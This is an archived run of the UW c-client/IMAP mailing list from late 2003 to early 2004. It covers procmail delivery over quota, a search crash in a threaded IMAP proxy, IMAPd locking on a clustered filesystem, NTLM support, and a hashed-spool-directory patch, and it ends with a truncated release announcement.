(GMT) Reply-To: "J. A. Landamore" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. A. Landamore" To: c-client@u.washington.edu Subject: Re: question about dmail when mailbox over quota Content-Type: text X-Sun-Text-Type: ascii X-Uwash-Spam: Gauge=X, Probability=10%, Report='MIME_HEADER_CTYPE_ONLY 0.653, QUOTED_EMAIL_TEXT 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark replied: > >On Thu, 18 Dec 2003, J. A. Landamore wrote: >> Many thanks for the information, and apologies for my confusing >> mail. The mail is silently dropped. I thought dmail was hanging from >> the way the log just stopped part way through the attempt by dmail to >> deliver the mail and there was no debug info about it cleaning up. >> However there is no dmail process running and the mailfile is left in an >> intact state. > >Something is suspicious. After the "appending to" message there >should have been either a "delivered to" or a "message delivery failed to" >message, both to stderr and to syslog. I get a "delivered to" message in my syslogs, but not the "message delivery failed to" > >> Also subsequent writes that don't take it over-quota are >> successful. So it's a procmail problem, thanks for the insight. > >Good luck in finding this! The problem has been solved. As Mark said procmail just silently drops mail that isn't delivered successfully unless you tell it to wait. This is done with the w flag on the first line of the recipe i.e :0 becomes :0 w Thanks for all the guidance John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 From pinedev@shivax2.cac.washington.edu Tue Dec 23 09:06:21 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Dec 2003 09:06:21 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNH6HUF015553 for ; Tue, 23 Dec 2003 09:06:17 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNH6F72032612 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Dec 2003 09:06:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBNH3g1r015000; Tue, 23 Dec 2003 09:03:43 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNH1luL045192 for ; Tue, 23 Dec 2003 09:01:50 -0800 Received: from mailer.unicite.fr.netcentrex.net ([62.161.167.249]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNH1ebc022742 for ; Tue, 23 Dec 2003 09:01:44 -0800 Received: from droopy ([192.168.100.185]) by mailer.unicite.fr.netcentrex.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id Y4FN7DW4; Tue, 23 Dec 2003 18:01:39 +0100 Message-Id: <063e01c3c976$6e64f5a0$b964a8c0@unicite.fr.netcentrex.net> Date: Tue, 23 Dec 2003 18:01:39 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Vaillant" To: Subject: Crash problem with maill_search_full function MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_063B_01C3C97E.D01A1B60" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_063B_01C3C97E.D01A1B60 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable I try use the c-client API to build a IMAP proxy. I have a serious problem with the search.=20 I try to perform a search on a mailbox with the mail_search_full but = when I perform some stressing tests this function crashed. I use it in a multi-threaded program like below : SEARCHPGM *sPgm; long lFlags; sPgm =3D mail_criteria("UNDELETED SUBJECT VoiceMail); lFlags =3D SE_FREE; mail_search_full(TabUser[localId].UserStream,NIL,sPgm,lFlags); When i look the generated core file, the crash is often in the = "imap_parse_unsolicited" function. This function parse the reply. The parsing seems to be based on the = reply->key value. When the function crashed, the reply looks like : {line =3D 0x8916638 " INTERNALDATE", tag =3D 0x89183b0 "", key =3D = 0x89183b2 "", text =3D 0x89183b4 ""} Is it normal that the key is empty ? Thank's for your help Guyom. ------=_NextPart_000_063B_01C3C97E.D01A1B60 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
    I try use the c-client API to build a IMAP proxy.
    I have a serious problem with the search.
    I try to perform a search on a mailbox with the mail_search_full = but=20 when I perform some stressing tests this function crashed.
     
    I use it in a multi-threaded program like below :
        SEARCHPGM *sPgm;
        long=20 lFlags;
        sPgm =3D mail_criteria("UNDELETED SUBJECT=20 VoiceMail);
        lFlags =3D = SE_FREE;
       =20 mail_search_full(TabUser[localId].UserStream,NIL,sPgm,lFlags);
     
    When i look the generated core file, the crash is often in the = "imap_parse_unsolicited" function.
    This function parse the reply. The parsing seems to be based on the = reply->key value.
    When the function crashed, the reply looks like :
    {line =3D 0x8916638 " INTERNALDATE", tag =3D 0x89183b0 "", key =3D = 0x89183b2 "",=20 text =3D 0x89183b4 ""}
     
    Is it normal that the key is empty ?
     
    Thank's for your help
    Guyom.
     
    ------=_NextPart_000_063B_01C3C97E.D01A1B60-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 23 15:11:41 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Dec 2003 15:11:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNNBfUF031754 for ; Tue, 23 Dec 2003 15:11:41 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNNBdlp027817 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Dec 2003 15:11:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBNN39op016136; Tue, 23 Dec 2003 15:03:09 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNN1quL024148 for ; Tue, 23 Dec 2003 15:01:52 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNN1pgN016128 for ; Tue, 23 Dec 2003 15:01:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNN1dP3016374; Tue, 23 Dec 2003 15:01:39 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBNN1cba026254 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 23 Dec 2003 15:01:38 -0800 Message-Id: Date: Tue, 23 Dec 2003 14:59:35 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guillaume Vaillant Cc: c-client@u.washington.edu Subject: Re: Crash problem with maill_search_full function In-Reply-To: <063e01c3c976$6e64f5a0$b964a8c0@unicite.fr.netcentrex.net> References: <063e01c3c976$6e64f5a0$b964a8c0@unicite.fr.netcentrex.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Dec 2003, Guillaume Vaillant wrote: > I use it in a multi-threaded program If you are using c-client in a multi-threaded program, have you verified that your C library's implementation of such routines as strtok() is thread-safe? If not, you'll have to change the c-client calls to such functions to whatever thread-safe versions there are in your system's C library. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Dec 29 15:12:56 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Dec 2003 15:12:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBTNCtUF021791 for ; Mon, 29 Dec 2003 15:12:55 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBTNCr72024249 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Dec 2003 15:12:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBTNBZFe012080; Mon, 29 Dec 2003 15:11:37 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBTN8guL045338 for ; Mon, 29 Dec 2003 15:08:42 -0800 Received: from smtp.uvm.edu (badger.uvm.edu [132.198.101.184]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBTN8fSm001449 for ; Mon, 29 Dec 2003 15:08:41 -0800 Received: from [132.198.104.238] (mammal.uvm.edu [132.198.104.238]) by smtp.uvm.edu (8.12.10/8.12.10) with ESMTP id hBTN8eKg024760; Mon, 29 Dec 2003 18:08:40 -0500 Message-Id: <1072739320.5674.78.camel@mammal.uvm.edu> Date: Mon, 29 Dec 2003 18:08:40 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jim Lawson To: c-client@u.washington.edu Cc: mga+uwcclient@uvm.edu Subject: UW IMAPd cluster, traditional UNIX spool format, options? Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_LONG_SPARSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi c-client readers - We're attempting to replace our existing mail server here with a cluster of Linux nodes running sendmail/procmail/UW IMAPd. The Linux nodes use are attached to shared storage (SAN) and using Sistina's GFS to manage the locking. The locking appears to be working just fine - no mailboxes are getting stepped on, no mail is getting lost. However, we are running into a problem where an old stale imapd is running, and new ones can't start up. (e.g. someone left their MUA running at the office, now they're at home trying to check their mail with another MUA.) The new IMAP client is able to log in and check their mail, but they're stuck read-only - they can't get read-write mode like we could when all the imapds were on the same host. In searching through the code, I can see that when imapd can't get a RW lock on the mailbox, it looks for the other imapd's PID and sends the "kiss-of-death" (SIGUSR2). The other imapd is supposed to give up the lock, then the first imapd can get it. Of course, this doesn't work when the imapds are on separate hosts. :-) So, we see that we have at least 2 options: - Move to a different mailbox format, one that supports multiple access (mbx). Frankly, this scares us, since we have around 40,000 users - this is going to be a complex enough conversion as it is. - Alter unix.c and other files to send the kiss-of-death to the actual host the imapd is running on. (Anyone done this already?) Does anyone have any other suggestions about these, or other options we should consider? We realize we could do some type of proxy-based or DNS-based routing of users to specific mail hosts, but we'd like to avoid that if possible... -- Jim Lawson University of Vermont -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Dec 30 01:12:42 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Dec 2003 01:12:42 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9CgUF008068 for ; Tue, 30 Dec 2003 01:12:42 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9Cd72006655 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Dec 2003 01:12:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBU9Baop012110; Tue, 30 Dec 2003 01:11:37 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9AAuL035562 for ; Tue, 30 Dec 2003 01:10:10 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9A9rQ010187 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Dec 2003 01:10:09 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9A84l025615; Tue, 30 Dec 2003 01:10:08 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBU9A8nW013100; Tue, 30 Dec 2003 01:10:08 -0800 Message-Id: Date: Tue, 30 Dec 2003 01:10:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jim Lawson Cc: c-client@u.washington.edu, mga+uwcclient@uvm.edu Subject: Re: UW IMAPd cluster, traditional UNIX spool format, options? In-Reply-To: <1072739320.5674.78.camel@mammal.uvm.edu> References: <1072739320.5674.78.camel@mammal.uvm.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 29 Dec 2003, Jim Lawson wrote: > We're attempting to replace our existing mail server here with a cluster > of Linux nodes running sendmail/procmail/UW IMAPd. The Linux nodes use > are attached to shared storage (SAN) and using Sistina's GFS to manage > the locking. I have never seen any sort of network filesystem clustering work out well for IMAP servers. Nor have I seen network locking work out well. mbx format is probably not your answer; it does shared write which is almost certainly guaranteed to lose on a network filesystem. Let's put it this way; if your vendor says that it will work, make them put that claim in writing before you do it. You might get some free hardware out of them before they throw in the towel. In general, it works better to split the mail store across a set of machines, each of which has direct access to its own piece of the mail store. At UW, we use the DNS to direct users to the right server; mrc.deskmail.washington.edu is the IMAP server which has mrc's mail, the machine may change as mrc gets moved about, but the name that mrc uses to get to his mail is always the same. Remember that IMAP servers are generally not CPU bound; they are I/O bound. Thus, fast access to the filesystem is more important than CPU load balancing. Our IMAP servers tend to have low load averages but very high disk/network utilization. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Dec 31 07:23:16 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 31 Dec 2003 07:23:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBVFNFUF006678 for ; Wed, 31 Dec 2003 07:23:15 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBVFNDlp013020 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 31 Dec 2003 07:23:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hBVFK71r015228; Wed, 31 Dec 2003 07:20:10 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBVFGouL030564 for ; Wed, 31 Dec 2003 07:16:50 -0800 Received: from oggy.wasmer.ca (oggy.wasmer.ca [64.26.155.159]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hBVFGn2X013052 for ; Wed, 31 Dec 2003 07:16:49 -0800 Received: from frosty (frosty.wasmer.ca [192.168.0.200]) (authenticated bits=0) by oggy.wasmer.ca (8.12.10/8.12.10) with ESMTP id hBVFGmfh012996 for ; Wed, 31 Dec 2003 10:16:48 -0500 (EST) Message-Id: <011601c3d07a$7f9ba480$c800a8c0@wasmer.ca> Date: Thu, 1 Jan 2004 10:18:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jean-Luc Wasmer" To: Subject: NTLM MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Uwash-Spam: Gauge=XXXI, Probability=31%, Report='DATE_IN_FUTURE_12_24 2.699, PRIORITY_NO_NAME 0.716, SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, The FAQ says: "There is currently no support for NTLM" but "There may be an NTLM SASL authenticator available from third parties." I use NTLM with Sendmail (through Cyrus SASL). Is it possible to do the same thing with UW's Imap? If it's possible, how do we enable/configure Imap to use SASL? Thanks, JL Wasmer -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 5 21:35:58 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jan 2004 21:35:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i065ZvUF022269 for ; Mon, 5 Jan 2004 21:35:58 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i065Ztlp020799 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Jan 2004 21:35:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i065Ygop013702; Mon, 5 Jan 2004 21:34:44 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i065X3uL037696 for ; Mon, 5 Jan 2004 21:33:03 -0800 Received: from hazelnut.cc.columbia.edu (hazelnut.cc.columbia.edu [128.59.59.162]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i065X22X026166 for ; Mon, 5 Jan 2004 21:33:02 -0800 Received: from hazelnut.cc.columbia.edu (localhost [127.0.0.1]) by hazelnut.cc.columbia.edu (8.12.10/8.12.10) with ESMTP id i065X1om023234 for ; Tue, 6 Jan 2004 00:33:01 -0500 (EST) Received: (from selsky@localhost) by hazelnut.cc.columbia.edu (8.12.10/8.12.8/Submit) id i065X1Ah023222 for c-client@u.washington.edu; Tue, 6 Jan 2004 00:33:01 -0500 (EST) Message-Id: <20040106053300.GA22717@columbia.edu> Date: Tue, 6 Jan 2004 00:33:00 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matt Selsky To: c-client@u.washington.edu Subject: [patch] hashed spool directories Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="lrZ03NoBR/3+SXJZ" Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline I noticed that some people have asked about hashed spool directories in the past. This means the spool is /var/mail/s/e/selsky instead of /var/mail/selsky The attached patch against imap-2002e implements hashed spool directories (which are disabled by default). If there are any changes which would help this get accepted into the main distribution, please let me know. Cheers. --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="env_unix.c.patch" --- src/osdep/unix/env_unix.c 2003/10/04 03:51:51 1.2 +++ src/osdep/unix/env_unix.c 2004/01/06 05:25:52 @@ -92,6 +92,8 @@ /* block notification */ static blocknotify_t mailblocknotify = mm_blocknotify; +static short spool_hash_depth = 0; /* 2 means spool is /var/mail/f/o/foo */ + /* Note: setting disableLockWarning means that you assert that the * so-modified copy of this software will NEVER be used: * 1) in conjunction with any software which expects .lock files @@ -820,7 +822,23 @@ { char tmp[MAILTMPLEN]; if (!sysInbox) { /* initialize if first time */ - sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); + int i; + char c; + + sprintf (tmp,"%s/",MAILSPOOL); + + for (i = 0; i < spool_hash_depth; i++) + { + /* deal with usernames shorter than hash depth */ + if (strlen (myusername ()) > i) + { + c = myusername ()[i]; + } + sprintf (tmp+strlen (tmp),"%c/", c); + } + + strcat (tmp,myusername ()); + sysInbox = cpystr (tmp); /* system inbox is from mail spool */ } return sysInbox; --lrZ03NoBR/3+SXJZ-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 5 22:39:35 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jan 2004 22:39:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066dZUF024005 for ; Mon, 5 Jan 2004 22:39:35 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066dX72031432 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Jan 2004 22:39:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i066cb1r016156; Mon, 5 Jan 2004 22:38:40 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066TDuL030912 for ; Mon, 5 Jan 2004 22:29:13 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066TCrQ032514 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 5 Jan 2004 22:29:12 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066TA6L016432; Mon, 5 Jan 2004 22:29:10 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i066TAU4017853; Mon, 5 Jan 2004 22:29:10 -0800 Message-Id: Date: Mon, 5 Jan 2004 22:29:10 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matt Selsky Cc: c-client@u.washington.edu Subject: Re: [patch] hashed spool directories In-Reply-To: <20040106053300.GA22717@columbia.edu> References: <20040106053300.GA22717@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 6 Jan 2004, Matt Selsky wrote: > If there are any changes > which would help this get accepted into the main distribution, please > let me know. My feeling about hashed spool directories is that this functionality is site-specific, with no obvious single definition of how it is to be implemented that applies in all instances. Consequently, I consider it to be something that should always be of the form of a third-party patch rather than an official part of c-client. I do encourage you to continue distributing this patch since it's likely to be useful for some people For what it's worth, I suggest the following alternative implementation of your patch, which avoids needless rescans of the string: int i; char *u,*s; strcpy (tmp,MAILSPOOL); for (i = 0, u = myusername (), s = tmp + strlen (tmp); (*s++ = '/') && (i < spool_hash_depth) && u[i]; *s++ = u[i++]); strcpy (s,u); -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 6 00:37:54 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Jan 2004 00:37:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i068bsUF027675 for ; Tue, 6 Jan 2004 00:37:54 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i068bq72001733 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Jan 2004 00:37:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i068UPop015572; Tue, 6 Jan 2004 00:30:26 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06821uL025320 for ; Tue, 6 Jan 2004 00:02:01 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i06820gN018675 for ; Tue, 6 Jan 2004 00:02:00 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0681x72000978 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 6 Jan 2004 00:02:00 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0681x9n012803 for ; Tue, 6 Jan 2004 00:01:59 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i0681xcp025067 for ; Tue, 6 Jan 2004 00:01:59 -0800 Message-Id: Date: Tue, 6 Jan 2004 00:01:59 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Subject: announcing: imap-2004 release candidate 1 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='SIGNATURE_SHORT_DENSE 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN imap-2004 (yes, it's now 2004) is nearing release status, and is available on: 